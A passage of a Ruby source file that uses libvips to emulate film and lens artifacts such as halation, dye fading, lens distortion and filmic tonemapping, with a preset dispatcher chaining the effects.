  safe_cast(Vips::Image.bandjoin([r, g2, b2]))
rescue StandardError => e
  $logger.error "longitudinal_ca: #{e.message}"; image
end

# Radial lens distortion via mapim. k1 < 0 = barrel (wide-angle); k1 > 0 = pincushion.
# First-order Brown-Conrady model — single coefficient, adequate for cinematic emulation.
def lens_distortion(image, k1 = -0.12)
  w, h   = image.width, image.height
  cx, cy = w / 2.0, h / 2.0
  idx    = Vips::Image.xyz(w, h)
  xn     = (idx.extract_band(0).cast("float") - cx) / cx
  yn     = (idx.extract_band(1).cast("float") - cy) / cy
  r2     = xn * xn + yn * yn
  factor = r2.linear([k1], [1.0])
  xs     = (xn * factor * cx + cx).cast("float")
  ys     = (yn * factor * cy + cy).cast("float")
  image.mapim(Vips::Image.bandjoin([xs, ys]))
rescue StandardError => e
  $logger.error "lens_distortion: #{e.message}"; image
end

# Bokeh highlight ring structure: out-of-focus highlights from lens element edges
# produce an onion-ring artifact. Detected by finding the bright-disk edge and
# adding a warm ring there. Red dominant — lens coatings transmit red more at edges.
def bokeh_rendering(image, intensity = 0.35)
  linear  = image.colourspace("scrgb")
  r, g, b = linear.bandsplit
  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722
  bright  = (luma > 0.65).ifthenelse(luma - 0.65, 0)
  ring    = (bright.gaussblur(4.0) - bright.gaussblur(2.0)).linear([1], [0])
  ring    = (ring > 0).ifthenelse(ring, 0).linear([intensity * 2.5], [0])
  result  = Vips::Image.bandjoin([r + ring * 0.90, g + ring * 0.55, b + ring * 0.15])
  safe_cast(clamp01(result).colourspace("srgb"))
rescue StandardError => e
  $logger.error "bokeh_rendering: #{e.message}"; image
end

# Anamorphic lens flare: horizontal blue-cyan streak through brightest highlights.
# Real anamorphic streaks are produced by cylindrical front element edge diffraction.
# Approximated with a wide 1-D horizontal convolution over the highlight mask.
def anamorphic_flare(image, intensity = 0.50)
  w       = image.width
  linear  = image.colourspace("scrgb")
  r, g, b = linear.bandsplit
  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722
  bright  = (luma > 0.78).ifthenelse(luma - 0.78, 0)
  kw      = [w / 10, 31].min
  kw      = kw.even? ? kw + 1 : kw
  kernel  = Vips::Image.new_from_array([Array.new(kw, 1.0 / kw)])
  streak  = bright.conv(kernel, precision: :float)
  streakc = Vips::Image.bandjoin([streak * 0.10, streak * 0.45, streak * 1.00]) * (intensity * 0.55)
  safe_cast(clamp01(linear + streakc).colourspace("srgb"))
rescue StandardError => e
  $logger.error "anamorphic_flare: #{e.message}"; image
end

# Diffraction softening at small apertures. The Airy disc diameter grows with f-number;
# at f/16+ the disc exceeds the Nyquist limit and detail visibly softens.
def diffraction_blur(image, f_number = 16.0, intensity = 1.0)
  sigma = ([((f_number - 8.0) / 5.0) * intensity, 0.3].max).clamp(0.3, 6.0)
  safe_cast(image.gaussblur(sigma))
rescue StandardError => e
  $logger.error "diffraction_blur: #{e.message}"; image
end

# Flatbed scanner CCD noise floor. Electronic in origin — independent of film grain,
# lower amplitude, no spatial correlation. Adds a second fine incoherent texture.
def scan_noise(image, intensity = 0.40)
  noise = Vips::Image.gaussnoise(image.width, image.height, sigma: 5.0 * intensity, mean: 0.0)
  safe_cast(image.cast("float") + rgb_bands(noise) * 0.06 * intensity)
rescue StandardError => e
  $logger.error "scan_noise: #{e.message}"; image
end

# Newton rings: thin-film interference fringes where film lifts off scanner glass.
# Sinusoidal concentric rings centered near a corner with radial intensity falloff.
def newton_rings(image, intensity = 0.12)
  w, h  = image.width, image.height
  cx    = w * 0.12
  cy    = h * 0.10
  idx   = Vips::Image.xyz(w, h)
  xd    = idx.extract_band(0).cast("float") - cx
  yd    = idx.extract_band(1).cast("float") - cy
  rad   = (xd * xd + yd * yd).pow(0.5)
  rings = rad.linear([Math::PI * 2.0 / 28.0], [0]).math(:sin).linear([0.5], [0.5])
  fade  = clamp01(rad.linear([-1.2 / [w, h].max], [1.2]))
  mod   = (rings - 0.5) * fade * intensity * 0.10
  mod3  = mod.bandjoin([mod, mod])
  safe_cast(clamp01(image.cast("float") / 255.0 + mod3) * 255.0)
rescue StandardError => e
  $logger.error "newton_rings: #{e.message}"; image
end

# Dust specks and hair strands on negative or scanner glass. Procedurally drawn
# at random positions; dark specks more common than bright (dust blocks light).
def dust_and_hair(image, intensity = 0.50)
  w, h    = image.width, image.height
  overlay = Vips::Image.black(w, h, bands: 3).cast("float")
  (intensity * 14).round.times do
    x   = rand(w)
    y   = rand(h)
    val = rand > 0.65 ? [230.0, 228.0, 225.0] : [8.0, 6.0, 5.0]
    overlay = overlay.draw_circle(val, x, y, 1 + rand(2), fill: true)
  end
  (intensity * 2).round.times do
    x1    = rand(w)
    y1    = rand(h)
    angle = rand * Math::PI * 2
    len   = 30 + rand(110)
    x2    = (x1 + len * Math.cos(angle)).to_i.clamp(0, w - 1)
    y2    = (y1 + len * Math.sin(angle)).to_i.clamp(0, h - 1)
    overlay = overlay.draw_line([14.0, 12.0, 10.0], x1, y1, x2, y2)
  end
  blended = image.cast("float") + overlay.gaussblur(0.5) * 0.45
  safe_cast(clamp01(blended / 255.0) * 255.0)
rescue StandardError => e
  $logger.error "dust_and_hair: #{e.message}"; image
end

# Film curl / frame-holder vignette. Steeper radial falloff (power 8) than the
# smooth lens vignette (power 2) — mimics the mechanical shadow of the film gate.
def film_curl_vignette(image, intensity = 0.45)
  w, h = image.width, image.height
  idx  = Vips::Image.xyz(w, h)
  xn   = (idx.extract_band(0).cast("float") - w * 0.5) / (w * 0.5)
  yn   = (idx.extract_band(1).cast("float") - h * 0.5) / (h * 0.5)
  r2   = xn * xn + yn * yn
  vign = clamp01(r2.pow(4.0).linear([intensity * 6.0], [0]))
  v3   = vign.bandjoin([vign, vign])
  safe_cast(clamp01(image.cast("float") / 255.0 * (1.0 - v3)) * 255.0)
rescue StandardError => e
  $logger.error "film_curl_vignette: #{e.message}"; image
end

# Selenium toning: silver areas in shadow zones chemically convert to selenium
# compounds — blue-violet shift in the deepest densities, neutral in highlights.
def selenium_tone(image, intensity = 0.45)
  img_f  = image.cast("float") / 255.0
  luma   = img_f.colourspace("b-w").cast("float") / 255.0
  shad_w = clamp01(luma.linear([-1], [1]).pow(1.5)) * (intensity * 0.65)
  r, g, b = img_f.bandsplit
  result  = Vips::Image.bandjoin([clamp01(r + shad_w * 0.12), g, clamp01(b + shad_w * 0.28)])
  safe_cast(result * 255.0)
rescue StandardError => e
  $logger.error "selenium_tone: #{e.message}"; image
end

# Per-stock dye fading. Each emulsion has a characteristic failure mode over decades:
# Kodachrome: greens hold, reds drift to orange, shadows warm. Ektachrome: cyan fades,
# image shifts magenta-red. Velvia: magenta dye weakens. C-41: yellow cast + desaturation.
def dye_fade(image, stock = :kodak_portra, age = 0.50)
  img_f = image.cast("float") / 255.0
  r, g, b = img_f.bandsplit
  faded = case stock
          when :kodachrome
            Vips::Image.bandjoin([r.linear([1.0], [age * 0.08]), g,
                                  b.linear([1.0 - age * 0.16], [age * 0.05])])
          when :ektachrome_100
            Vips::Image.bandjoin([r.linear([1.0 + age * 0.13], [0]),
                                  g.linear([1.0 + age * 0.04], [0]), b])
          when :fuji_velvia
            Vips::Image.bandjoin([r, g.linear([1.0], [age * 0.05]),
                                  b.linear([1.0 - age * 0.08], [age * 0.03])])
          else
            Vips::Image.bandjoin([r.linear([1.0], [age * 0.06]),
                                  g.linear([1.0], [age * 0.04]),
                                  b.linear([1.0 - age * 0.10], [age * 0.02])])
          end
  gray   = img_f.colourspace("b-w").colourspace("srgb").cast("float")
  result = clamp01(faded) * (1.0 - age * 0.18) + gray * (age * 0.18)
  safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
  $logger.error "dye_fade: #{e.message}"; image
end

# Darkroom print tone compression. Optical enlarger prints cannot reproduce the full
# DR of a negative. Highlights block at paper Dmax; shadows print lighter than film.
# Slight gamma lift + shadow floor raise compress the tonal scale to print-medium range.
def darkroom_print(image, intensity = 0.50)
  img_f   = image.cast("float") / 255.0
  lifted  = img_f.pow(1.0 + intensity * 0.28)
  floored = clamp01(lifted.linear([1.0], [intensity * 0.018]))
  safe_cast(floored * 255.0)
rescue StandardError => e
  $logger.error "darkroom_print: #{e.message}"; image
end

# Per-stock film base density tint. Applies the FILM_BASE color at low opacity
# so shadow areas pick up more tint than highlights — physically correct since
# tint is always present and highlights burn through it.
def film_base_density(image, stock = :kodak_portra, opacity = 0.06)
  tint = FILM_BASE[stock] || [255, 255, 255]
  dual_base_density(image, tint, opacity)
rescue StandardError => e
  $logger.error "film_base_density: #{e.message}"; image
end

# C-41 integral orange mask. Colored couplers in the negative create a
# characteristic orange base density that raises shadows toward orange-amber.
# Reversal and B&W stocks have no mask — only applied to C41_STOCKS.
def orange_mask(image, stock = :kodak_portra, intensity = 1.0)
  return image unless C41_STOCKS.include?(stock)
  mask = case stock
         when :cinestill_800t, :kodak_vision3_500t then 0.09
         when :kodak_vision3, :kodak_vision3_50d   then 0.08
         else 0.07
         end * intensity
  img_f    = image.cast("float") / 255.0
  shadow_w = image.colourspace("b-w").cast("float") / 255.0
  shadow_w = shadow_w.linear(-1, 1)
  r, g, b  = img_f.bandsplit
  result   = Vips::Image.bandjoin([
    clamp01(r + shadow_w * mask * 0.55),
    clamp01(g + shadow_w * mask * 0.18),
    clamp01(b - shadow_w * mask * 0.35)
  ])
  safe_cast(result * 255.0)
rescue StandardError => e
  $logger.error "orange_mask: #{e.message}"; image
end

# Print film projection. Applies a print stock's H&D curve, warmth, cool-shadow
# grading, and fine grain as a final projection stage — analogous to printing
# from a negative onto Kodak 2383 (or 2302 for B&W).
def print_film(image, stock = :kodak_2383, intensity = 0.70)
  pdata = PRINT_STOCKS[stock]
  return image unless pdata
  hd = pdata[:hd]
  bands = %i[r g b].map { |c| Vips::Image.new_from_array([HD.channel_curve(hd[c])]) }
  lut = Vips::Image.bandjoin(bands).cast("uchar")
  developed = image.maplut(lut)
  img_f = developed.cast("float") / 255.0
  luma  = developed.colourspace("b-w").cast("float") / 255.0
  if pdata[:warmth]
    hi_mask = luma ** 2.8
    sh_mask = luma.linear(-1, 1) ** 2.8
    r, g, b = img_f.bandsplit
    img_f = Vips::Image.bandjoin([
      clamp01(r + hi_mask * pdata[:warmth] * 0.8),
      clamp01(g + hi_mask * pdata[:warmth] * 0.15),
      clamp01(b - hi_mask * pdata[:warmth] * 0.35 + sh_mask * (pdata[:cool_shadow] || 0))
    ])
  end
  if pdata[:grain].to_i > 0
    amp   = pdata[:grain] * 0.25 / 255.0
    noise = Vips::Image.gaussnoise(image.width, image.height, sigma: pdata[:grain].to_f * 0.3, mean: 0.0)
    img_f = clamp01(img_f + rgb_bands(noise).cast("float") * amp)
  end
  safe_cast(image * (1.0 - intensity) + safe_cast(img_f * 255.0) * intensity)
rescue StandardError => e
  $logger.error "print_film: #{e.message}"; image
end

def paper_texture(image, intensity = 0.35)
  w, h = image.width, image.height
  base = Vips::Image.perlin(w, h, cell_size: 12).linear([intensity * 0.018], [1.0])
  fiber = Vips::Image.perlin(w, h, cell_size: 3).linear([intensity * 0.008], [0.0])
  texture = (base + fiber).gaussblur(0.4)
  safe_cast(image * texture.bandjoin([texture, texture]))
rescue StandardError => e
  $logger.error "paper_texture: #{e.message}"; image
end

def dodgeburn_artifacts(image, intensity = 0.40)
  w, h = image.width, image.height
  cx, cy = w / 2.0, h / 2.0
  x = Vips::Image.xyz(w, h).extract_band(0).linear([1.0], [-cx])
  y = Vips::Image.xyz(w, h).extract_band(1).linear([1.0], [-cy])
  r = (x * x + y * y).pow(0.5).linear([1.0 / [w, h].max], [0.0])
  dodge = r.linear([-intensity * 0.18], [1.0 + intensity * 0.06])
  mask = dodge.bandjoin([dodge, dodge])
  safe_cast(image * mask)
rescue StandardError => e
  $logger.error "dodgeburn_artifacts: #{e.message}"; image
end

def fixing_bath_fog(image, intensity = 0.30)
  floor = intensity * 0.04
  cast = [1.0 + intensity * 0.012, 1.0 + intensity * 0.006, 1.0]
  lifted = image.linear([(1.0 - floor)], [floor])
  safe_cast(lifted.linear(cast, [0.0, 0.0, 0.0]))
rescue StandardError => e
  $logger.error "fixing_bath_fog: #{e.message}"; image
end

def reticulation(image, intensity = 0.50)
  w, h = image.width, image.height
  coarse = Vips::Image.perlin(w, h, cell_size: 28).linear([intensity * 0.06], [1.0])
  mid = Vips::Image.perlin(w, h, cell_size: 9).linear([intensity * 0.03], [0.0])
  pattern = (coarse + mid).gaussblur(0.8)
  mask = pattern.bandjoin([pattern, pattern])
  safe_cast(image * mask)
rescue StandardError => e
  $logger.error "reticulation: #{e.message}"; image
end

def expired_film(image, age = 0.60)
  fogged = image.linear([(1.0 - age * 0.12)], [age * 0.06])
  r, g, b = fogged.bandsplit
  r = r.linear([1.0 + age * 0.08], [0.0])
  g = g.linear([1.0 + age * 0.03], [0.0])
  b = b.linear([1.0 - age * 0.05], [0.0])
  combined = r.bandjoin([g, b])
  grain_intensity = 0.20 + age * 0.35
  safe_cast(grain(combined, 800, :tri_x, grain_intensity))
rescue StandardError => e
  $logger.error "expired_film: #{e.message}"; image
end

def gate_weave(image, intensity = 0.40)
  w, h = image.width, image.height
  dx = (rand - 0.5) * intensity * w * 0.004
  dy = (rand - 0.5) * intensity * h * 0.002
  x = Vips::Image.xyz(w, h).extract_band(0).linear([1.0], [-dx])
  y = Vips::Image.xyz(w, h).extract_band(1).linear([1.0], [-dy])
  coords = x.bandjoin(y)
  image.mapim(coords)
rescue StandardError => e
  $logger.error "gate_weave: #{e.message}"; image
end

def lens_ghosting(image, intensity = 0.35)
  w, h = image.width, image.height
  luma = image.colourspace(:b_w)
  threshold = 1.0 - intensity * 0.25
  highlights = luma.more(threshold).gaussblur(12 * intensity)
  ghost = highlights.gaussblur(6).linear([intensity * 0.12], [0.0])
  offset_x = (w * 0.08).to_i
  offset_y = (h * 0.06).to_i
  ghost_rgb = ghost.bandjoin([ghost, ghost])
  flipped = ghost_rgb.flip(:horizontal).flip(:vertical)
  canvas = Vips::Image.black(w, h, bands: 3).linear([1.0], [0.0])
  x0 = [[w - offset_x - flipped.width, 0].max, w - 1].min
  y0 = [[h - offset_y - flipped.height, 0].max, h - 1].min
  blended = canvas.draw_image(flipped, x0, y0)
  safe_cast(image + blended)
rescue StandardError => e
  $logger.error "lens_ghosting: #{e.message}"; image
end

def ortho_film(image, intensity = 0.80)
  r, g, b = image.bandsplit
  grey = (b.linear([0.72], [0.0]) + g.linear([0.21], [0.0]) + r.linear([0.07], [0.0]))
  grey_rgb = grey.bandjoin([grey, grey])
  blended = image.linear([(1.0 - intensity)], [0.0]) + grey_rgb.linear([intensity], [0.0])
  safe_cast(blended)
rescue StandardError => e
  $logger.error "ortho_film: #{e.message}"; image
end

def tilt_shift(image, intensity = 0.70, focus_y = 0.5)
  w, h = image.width, image.height
  y_img = Vips::Image.xyz(w, h).extract_band(1).linear([1.0 / h], [0.0])
  dist = (y_img - focus_y).abs.linear([2.0], [0.0]).pow(1.6)
  blur_radius = (intensity * 8).clamp(1, 20).to_f
  blurred = image.gaussblur(blur_radius)
  mask = dist.linear([intensity], [0.0]).clamp(0, 1)
  mask3 = mask.bandjoin([mask, mask])
  safe_cast(image * (mask3.linear([-1.0], [1.0])) + blurred * mask3)
rescue StandardError => e
  $logger.error "tilt_shift: #{e.message}"; image
end

# Adaptive contrast: histogram normalization blended at partial opacity.
# Strongest single predictor of perceived photo quality in NIMA/AVA research.
def adaptive_contrast(image, intensity = 0.70)
  normalized = image.hist_norm
  safe_cast(image * (1.0 - intensity * 0.55) + normalized * (intensity * 0.55))
rescue StandardError => e
  $logger.error "adaptive_contrast: #{e.message}"; image
end

# Filmic shoulder + toe: raised shadow floor + soft highlight rolloff.
# Models the analog curve endpoints without stock-specific emulsion data.
def film_shoulder(image, intensity = 0.75)
  toe = intensity * 0.04 * 255.0
  lifted = image.linear([1.0 - intensity * 0.04], [toe])
  rolled = highlight_roll(lifted, (220 - (intensity * 20).to_i), intensity * 0.50)
  safe_cast(rolled)
rescue StandardError => e
  $logger.error "film_shoulder: #{e.message}"; image
end

# Clarity: medium-radius unsharp on Lab L channel only — local contrast "3D pop"
# without hue shift or color fringing.
def clarity(image, radius = 15, intensity = 0.65)
  lab = image.colourspace("lab")
  l = lab.extract_band(0)
  a_ch = lab.extract_band(1)
  b_ch = lab.extract_band(2)
  detail = l - l.gaussblur(radius)
  l_new = l + detail.linear([intensity * 0.40], [0.0])
  safe_cast(Vips::Image.bandjoin([l_new, a_ch, b_ch]).colourspace("srgb"))
rescue StandardError => e
  $logger.error "clarity: #{e.message}"; image
end

# Edge-aware noise reduction: smooth flat areas, preserve edges.
# Approximated as luminance-masked Gaussian — clean base before film grain is added.
def edge_aware_nr(image, strength = 0.60)
  blurred = image.gaussblur(1.5 + strength * 2.0)
  quick = image.gaussblur(1.5)
  edge_diff = (image - quick) + (quick - image)
  edge_luma = edge_diff.extract_band(0) * 0.299 +
              edge_diff.extract_band(1) * 0.587 +
              edge_diff.extract_band(2) * 0.114
  mask = (edge_luma > (12.0 * (1.0 - strength * 0.5))).ifthenelse(1, 0)
  mask3 = mask.bandjoin([mask, mask])
  safe_cast(image * mask3 + blurred * mask3.linear([-1.0], [1.0]))
rescue StandardError => e
  $logger.error "edge_aware_nr: #{e.message}"; image
end

# Selective sharpening: high-pass at σ=1.2, applied only at high-edge regions.
# Lifts perceived acuity at detail without amplifying noise in smooth areas.
def selective_sharpen(image, intensity = 0.70)
  blurred = image.gaussblur(1.2)
  detail = image - blurred
  edge_diff = detail + (blurred - image)
  edge_luma = edge_diff.extract_band(0) * 0.299 +
              edge_diff.extract_band(1) * 0.587 +
              edge_diff.extract_band(2) * 0.114
  mask = (edge_luma > 8).ifthenelse(1, 0)
  mask3 = mask.bandjoin([mask, mask])
  safe_cast(image + detail * mask3 * (intensity * 0.55))
rescue StandardError => e
  $logger.error "selective_sharpen: #{e.message}"; image
end

def teal_orange(image, intensity = 1.0)
  protected = skin_protect(image, 0.8)
  r, g, b = protected.bandsplit

  r_enhanced = r.linear([1 + 0.25 * intensity], [8 * intensity])
  g_balanced = g.linear([1 - 0.08 * intensity], [0])
  b_enhanced = b.linear([1 + 0.35 * intensity], [0])

  safe_cast(Vips::Image.bandjoin([r_enhanced, g_balanced, b_enhanced]))
end

def bloom_pro(image, intensity = 1.0)
  bright = image.linear([2.0 * intensity], [0])
  bloom_1 = bright.gaussblur(8 * intensity)
  bloom_2 = bright.gaussblur(16 * intensity)
  combined = (bloom_1 + bloom_2 * 0.5) * 0.2
  safe_cast(image + combined)
end

# Halation in linear (exposure) space. Bright light penetrates the emulsion,
# reflects off the substrate's antihalation backing imperfectly, and re-exposes
# nearby grains. Red wavelengths penetrate deepest, so the rebound glow is
# red-orange — never neutral. Default tint matches Vision3-style stocks; Velvia
# antihalation is near-perfect (drop intensity), Tri-X has none (boost it).
# Pipeline: linearize → soft-threshold highlights at L≈0.7 → wide gaussian on
# the mono source map → tint asymmetrically (R>G>>B) → add back → re-encode.
# Physics-calibrated: fraction of incident energy reflected per dye layer depth.
# Red penetrates deepest (0.92), green mid-layer (0.15), blue nearest surface (0.04).
HALATION_TINT_VISION3 = [0.92, 0.15, 0.04].freeze
HALATION_TINT_PORTRA  = [0.88, 0.12, 0.04].freeze
HALATION_TINT_TRI_X   = [0.45, 0.45, 0.45].freeze
HALATION_THRESHOLD    = 0.7

# Halation: resolution-aware σ ≈ width/45 (≈43px at 2K, calibrated from agx
# emulsion measurements). Luma-based bright mask rather than red-only, so
# over-exposed highlights on any channel trigger the halo. Per-channel blur
# radii R>G>>B model wavelength-dependent penetration depth in the emulsion
# stack. Output clamp prevents HDR overshoot from adding solarization.
def halation(image, intensity = 1.0, tint: HALATION_TINT_VISION3)
  sigma_r = [image.width / 45.0, 6.0].max.clamp(6.0, 120.0)
  sigma_g = sigma_r * 0.55
  sigma_b = sigma_r * 0.25
  linear  = image.colourspace("scrgb")
  r, g, b = linear.bandsplit
  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722
  excess  = luma.linear([1], [-HALATION_THRESHOLD])
  bright  = (excess > 0).ifthenelse(excess, 0) ** 2
  # Lorentzian-approx PSF: sharp core (30%) + wide wings (70%) per wavelength band.
  halo_r = (bright.gaussblur(sigma_r * 0.7) * 0.30 + bright.gaussblur(sigma_r * 1.6) * 0.70) * (tint[0] * intensity)
  halo_g = (bright.gaussblur(sigma_g * 0.7) * 0.30 + bright.gaussblur(sigma_g * 1.6) * 0.70) * (tint[1] * intensity)
  halo_b = (bright.gaussblur(sigma_b * 0.7) * 0.30 + bright.gaussblur(sigma_b * 1.6) * 0.70) * (tint[2] * intensity)
  halo    = Vips::Image.bandjoin([halo_r, halo_g, halo_b])
  safe_cast(clamp01(linear + halo).colourspace("srgb"))
end

# Filmic tonemap in linear (exposure) space. ACES is the Narkowicz fit to the
# Academy RRT+ODT — fast, photometric, the canonical "filmic" curve. Hable is
# Uncharted-2's S-curve, slightly more controllable shoulder, used in many
# cinematic productions. Both per-channel; chroma drift in the shoulder is the
# expected filmic behaviour. Exposure is applied in stops (2^EV) before the
# curve, so a +1.0 stop doubles linear light pre-tonemap.
TONEMAP_ACES  = { a: 2.51, b: 0.03, c: 2.43, d: 0.59, e: 0.14 }.freeze
TONEMAP_HABLE = { a: 0.15, b: 0.50, c: 0.10, d: 0.20, e: 0.02, f: 0.30, w: 1.0 }.freeze
# Hejl-Burgess-Dawson: no division path in shadows, slight toe lift.
# Good for scenes where ACES reads too contrasty in the blacks.
TONEMAP_HBD   = { a: 6.2, b: 0.5, c: 1.7, d: 0.06 }.freeze

def tonemap(image, type: :aces, exposure: 0.0, intensity: 1.0)
  linear  = image.colourspace("scrgb")
  exposed = linear.linear([2.0**exposure] * 3, [0, 0, 0])
  curved  = case type.to_sym
            when :hable then tonemap_hable(exposed)
            when :hbd   then tonemap_hbd(exposed)
            else             tonemap_aces(exposed)
            end
  blended = linear * (1 - intensity) + clamp01(curved) * intensity
  safe_cast(blended.colourspace("srgb"))
end

def clamp01(image)
  lifted = (image > 0).ifthenelse(image, 0)
  (lifted < 1).ifthenelse(lifted, 1)
end

def tonemap_aces(linear)
  a, b, c, d, e = TONEMAP_ACES.values_at(:a, :b, :c, :d, :e)
  sq = linear * linear
  num = sq.linear([a] * 3, [0, 0, 0]) + linear.linear([b] * 3, [0, 0, 0])
  den = sq.linear([c] * 3, [0, 0, 0]) + linear.linear([d] * 3, [e] * 3)
  num / den
end

def tonemap_hable(linear)
  a, b, c, d, e, f, w = TONEMAP_HABLE.values_at(:a, :b, :c, :d, :e, :f, :w)
  white = ((w * (a * w + c * b) + d * e) / (w * (a * w + b) + d * f)) - e / f
  curved = linear.bandsplit.map do |x|
    num = (x * x).linear([a], [0]) + x.linear([c * b], [d * e])
    den = (x * x).linear([a], [0]) + x.linear([b], [d * f])
    num / den - e / f
  end
  Vips::Image.bandjoin(curved).linear([1.0 / white] * 3, [0, 0, 0])
end

def tonemap_hbd(linear)
  a, b, c, d = TONEMAP_HBD.values_at(:a, :b, :c, :d)
  curved = linear.bandsplit.map do |x|
    num = (x * x).linear([a], [0]) + x.linear([b], [0])
    den = (x * x).linear([a], [0]) + x.linear([c], [d])
    num / den
  end
  Vips::Image.bandjoin(curved)
end

def preset(image, name)
  p = PRESETS[name.to_sym]
  return image unless p
  result  = image
  t_start = Time.now
  n_steps = p[:fx].length
  PostproBootstrap.dmesg "preset=#{name} stock=#{p[:stock]} steps=#{n_steps} intensity=#{p[:intensity]}"

  p[:fx].each_with_index do |fx, i|
    t0 = Time.now
    result = case fx
             when "optical_blur"        then optical_blur(result, 0.5)
             when "tonemap"             then tonemap(result, type: :aces, exposure: p.fetch(:tonemap_ev, 0.0), intensity: p[:intensity] * 0.85)
             when "halation"            then halation(result, p[:intensity] * 0.60, tint: halation_tint_for(p[:stock]))
             when "film_curve"          then film_curve(result, p[:stock], p[:intensity])
             when "spectral_temp"       then spectral_temp(result, source_kelvin: 6504, target_kelvin: p[:temp], intensity: p[:intensity] * 0.50)
             when "color_temp"          then color_temp(result, p[:temp], p[:intensity] * 0.50)
             when "dir_coupler"         then dir_coupler(result, p[:intensity] * 0.12)
             when "push_pull"           then push_pull(result, p.fetch(:stops, 1.0), p[:stock])
             when "bleach_bypass"       then bleach_bypass(result, p[:intensity] * 0.40)
             when "reciprocity_failure" then reciprocity_failure(result, p.fetch(:exposure_secs, 10.0), p[:stock])
             when "orange_mask"         then orange_mask(result, p[:stock], p[:intensity] * 0.90)
             when "print_film"          then print_film(result, p.fetch(:print_stock, :kodak_2383), p[:intensity] * 0.70)
             when "split_grade"         then split_grade(result, intensity: p[:intensity] * 0.25)
             when "split_toning"        then split_toning(result)
             when "skin_protect"        then skin_protect(result, p[:intensity])
             when "shadow_lift"         then shadow_lift(result, 0.12, true)
             when "highlight_roll"      then highlight_roll(result, 200, p[:intensity] * 0.50)
             when "micro_contrast"      then micro_contrast(result, 5, p[:intensity] * 0.20)
             when "grain"               then grain(result, 800, p[:stock], p[:intensity] * 0.30)
             when "color_separate"      then color_separate(result, p[:intensity] * 0.55)
             when "chromatic_aberration" then chromatic_aberration(result, p[:intensity] * 0.25)
             when "vintage_lens"        then vintage_lens(result, p.fetch(:lens, "zeiss"), p[:intensity] * 0.70)
             when "teal_orange"         then teal_orange(result, p[:intensity] * 0.80)
             when "bloom_pro"           then bloom_pro(result, p[:intensity] * 0.25)
             when "desaturate"          then desaturate(result, p[:intensity] * 0.45)
             when "warmth"              then warmth(result, p[:intensity] * 0.25)
             when "green_push"          then green_push(result, p[:intensity] * 0.15)
             when "cross_fade"          then cross_fade(result, p[:intensity] * 0.40)
             when "infrared"            then infrared(result, p[:intensity] * 0.85)
             when "lith_print"          then lith_print(result, p[:intensity] * 0.75)
             when "kodachrome_sim"      then kodachrome_sim(result, p[:intensity] * 0.75)
             when "technicolor"         then technicolor(result, p[:intensity] * 0.55)
             when "cyanotype"           then cyanotype(result, p[:intensity])
             when "faded_print"         then faded_print(result, p.fetch(:age, 0.40))
             when "base_tint"           then base_tint(result, [255, 250, 242], 0.07)
             when "dual_base_density"   then dual_base_density(result, [255, 248, 236], 0.06)
             when "emulsion_defocus"    then emulsion_defocus(result, p[:stock])
             when "adjacency_effects"   then adjacency_effects(result, p[:intensity] * 0.25)
             when "longitudinal_ca"     then longitudinal_ca(result, p[:intensity] * 0.50)
             when "lens_distortion"     then lens_distortion(result, p.fetch(:k1, -0.12))
             when "bokeh_rendering"     then bokeh_rendering(result, p[:intensity] * 0.35)
             when "anamorphic_flare"    then anamorphic_flare(result, p[:intensity] * 0.50)
             when "diffraction_blur"    then diffraction_blur(result, p.fetch(:f_number, 16.0))
             when "scan_noise"          then scan_noise(result, p[:intensity] * 0.40)
             when "newton_rings"        then newton_rings(result, p[:intensity] * 0.12)
             when "dust_and_hair"       then dust_and_hair(result, p[:intensity] * 0.50)
             when "film_curl_vignette"  then film_curl_vignette(result, p[:intensity] * 0.45)
             when "selenium_tone"       then selenium_tone(result, p[:intensity] * 0.45)
             when "dye_fade"            then dye_fade(result, p[:stock], p.fetch(:age, 0.50))
             when "darkroom_print"      then darkroom_print(result, p[:intensity] * 0.50)
             when "film_base_density"   then film_base_density(result, p[:stock], 0.06)
             when "paper_texture"       then paper_texture(result, p[:intensity] * 0.35)
             when "dodgeburn_artifacts" then dodgeburn_artifacts(result, p[:intensity] * 0.40)
             when "fixing_bath_fog"     then fixing_bath_fog(result, p[:intensity] * 0.30)
             when "reticulation"        then reticulation(result, p[:intensity] * 0.50)
             when "expired_film"        then expired_film(result, p.fetch(:age, 0.60))
             when "gate_weave"          then gate_weave(result, p[:intensity] * 0.40)
             when "lens_ghosting"       then lens_ghosting(result, p[:intensity] * 0.35)
             when "ortho_film"          then ortho_film(result, p[:intensity] * 0.80)
             when "tilt_shift"          then tilt_shift(result, p[:intensity] * 0.70)
             when "adaptive_contrast"   then adaptive_contrast(result, p[:intensity] * 0.70)
             when "film_shoulder"       then film_shoulder(result, p[:intensity] * 0.75)
             when "clarity"             then clarity(result, 15, p[:intensity] * 0.65)
             when "edge_aware_nr"       then edge_aware_nr(result, p[:intensity] * 0.55)
             when "selective_sharpen"   then selective_sharpen(result, p[:intensity] * 0.65)
             else result
             end
    result = result.copy_memory
    GC.start(full_mark: false) if (i % 4).zero?
    PostproBootstrap.dmesg "fx=#{fx} step=#{i + 1}/#{n_steps} time=%.3fs" % (Time.now - t0)
  end

  PostproBootstrap.dmesg "preset=#{name} done total=%.2fs" % (Time.now - t_start)
  result
end

# Random Effects
def random_fx(image, effects, mode)
  result = image
  effects.each do |fx|
    intensity = mode == 'experimental' ? rand(0.5..1.5) : rand(0.3..0.8)
    result = case fx
             when 'grain' then grain_basic(result, intensity)
             when 'leaks' then leaks_basic(result, intensity)
             when 'sepia' then sepia_basic(result, intensity)
             when 'bloom' then bloom_basic(result, intensity)
             when 'teal_orange' then teal_orange(result, intensity)
             when 'cross' then cross_basic(result, intensity)
             when 'vhs' then vhs_basic(result, intensity)
             when 'chroma' then chroma_basic(result, intensity)
             when 'glitch' then glitch_basic(result, intensity)
             when 'flare' then flare_basic(result, intensity)
             else result
             end
  end
  result
end

def grain_basic(image, intensity)
  noise = Vips::Image.gaussnoise(image.width, image.height, sigma: 25 * intensity)
  safe_cast(image + rgb_bands(noise) * 0.2)
end

def leaks_basic(image, intensity)
  overlay = Vips::Image.black(image.width, image.height, bands: 3)
  rand(2..5).times do
    x, y = rand(image.width), rand(image.height)
    radius = image.width / rand(2..4)
    color = [255 * intensity, 180 * intensity, 80 * intensity]
    overlay = overlay.draw_circle(color, x, y, radius, fill: true)
  end
  safe_cast(image + overlay.gaussblur(15 * intensity) * 0.3)
end

def sepia_basic(image, intensity)
